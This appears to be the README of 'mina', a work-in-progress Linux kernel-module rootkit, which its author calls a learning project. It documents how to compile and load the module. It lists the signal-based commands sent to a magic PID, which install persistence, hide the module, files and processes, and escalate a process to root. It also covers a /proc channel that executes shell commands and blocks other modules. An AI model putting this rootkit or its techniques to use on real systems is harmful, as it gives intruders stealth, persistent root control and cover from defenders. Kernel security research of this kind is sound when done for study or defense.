mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
README.txt (4763B)
      1 ░▒▓██████████████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ░▒▓██████▓▒░       ░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░
      2 ░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
      3 ░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
      4 ░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░      ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░
      5 ░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░      ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
      6 ░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓██▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
      7 ░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓██▓▒░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░
      8 
      9 
     10 
     11   [[[ === THE MINA ROOTKIT [--- written by djnn for fun ---] version 0.0.1 === ]]]
     12 
     13 
     14   ~ source code: https://evil.djnn.sh/mina.ko/log.html
     15 
     16 
     17 1. Motivations
     18 
     19 The goal of this project is to increase my understanding of the Linux Operating System
     20 by writing a Loadable Kernel Module. Most of the code you will see here is not particularly
     21 innovative or new. It is just my own implementation, and take on it.
     22 
     23 You can find many cool projects if you browse online. They are probably more stealthy, stable,
     24 or feature more capabilities. It's likely something else out there fits your needs better, this
     25 is just a learning project that I am doing for fun.
     26 
     27 2. Basic design
     28 
     29 The rootkit works by intercepting the `kill` syscall and interpreting commands based on the signal sent.
     30 Additionally, it provides a `/proc` command channel for more complex interactions like executing shell commands
     31 or managing module blocking. Initial bugs have been resolved for improved stability.
     32 
     33 3. Instructions
     34 3.1 Compiling and run
     35 
     36 Tested on:
     37 - Linux Debian 6.12.41-1
     38 
     39 [+] Compile with:   make compile
     40 [+] Run with:       make load
     41 
     42 
     43 3.2 Commands
     44 
     45 The rootkit responds to specific signals sent to `MAGIC_PID` (currently 1337) and commands written to `/proc/mina_cmd`.
     46 
     47 **Signal-based Commands (kill -SIGNAL MAGIC_PID):**
     48 [*] Install persistence:                    kill -50 1337
     49 [*] Toggle module hide:                     kill -60 1337
     50 [*] Toggle file hiding:                     kill -70 1337
     51 [*] Hide process (PID):                     kill -90 <PID_TO_HIDE>
     52 [*] Unhide process (PID):                   kill -91 <PID_TO_UNHIDE>
     53 [*] Escalate process to root:               kill -95 <PID_TO_ESCALATE>
     54 
     55 **`/proc/mina_cmd` based Commands:**
     56 These commands are sent by writing a string to `/proc/mina_cmd` and reading the response.
     57 A client (`client/mina-cli`) is provided for easier interaction.
     58 
     59 Example usage with client:
     60 ```bash
     61 # Execute a command
     62 ./client/mina-cli "id"
     63 ./client/mina-cli "ls -la /root"
     64 
     65 # Block a module from loading
     66 ./client/mina-cli "block my_evil_module"
     67 
     68 # Unblock a module
     69 ./client/mina-cli "unblock my_evil_module"
     70 ```
     71 
     72 Magic features:
     73 [+] => If you create a file called "minamina", it can't be seen by directory listing.
     74 This only works if file hiding is enabled (kill -70 1337)
     75 [+] => Processes hidden with `kill -90 <PID>` will not appear in `ps aux` or `/proc/<PID>`.
     76 
     77 3.3 Development instructions
     78 
     79 I use QEMU to run my local virtual machine. If you're using something else, instruction may very.
     80 You can use the Virtual Machine Manager if you want to manage it using a GUI.
     81 
     82 Create a new machine using Debian 12 LTS iso. Don't forget to add your current user to sudoers file.
     83 
     84 Then, you can simply run the following on your Host machine:
     85 
     86 $ ./local-serve.sh
     87 
     88 
     89 Instructions are within the script, copy and paste.
     90 
     91 3.3.a Installing dependencies
     92 
     93 You might have to install dependencies to build the rootkit locally.
     94 If you have the zip archive downloaded on your guest machine, you can simply run:
     95 
     96 $ make deps